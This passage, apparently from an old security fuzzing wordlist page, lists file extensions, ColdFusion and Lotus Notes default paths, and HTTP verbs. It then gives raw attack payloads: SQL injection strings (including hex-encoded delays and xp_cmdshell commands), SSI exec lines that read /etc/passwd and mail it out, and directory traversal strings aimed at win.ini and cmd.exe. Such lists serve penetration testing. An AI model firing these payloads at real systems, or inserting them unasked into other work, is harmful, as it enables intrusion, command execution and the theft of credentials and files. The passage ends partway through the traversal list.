.jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: 30 July 2007 - Total Statements: 4) ===<br /> &lt;pre&gt;<br /> # Some server side include statements<br /> # Foobar@email.de<br /> <br /> &amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt;<br /> <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> 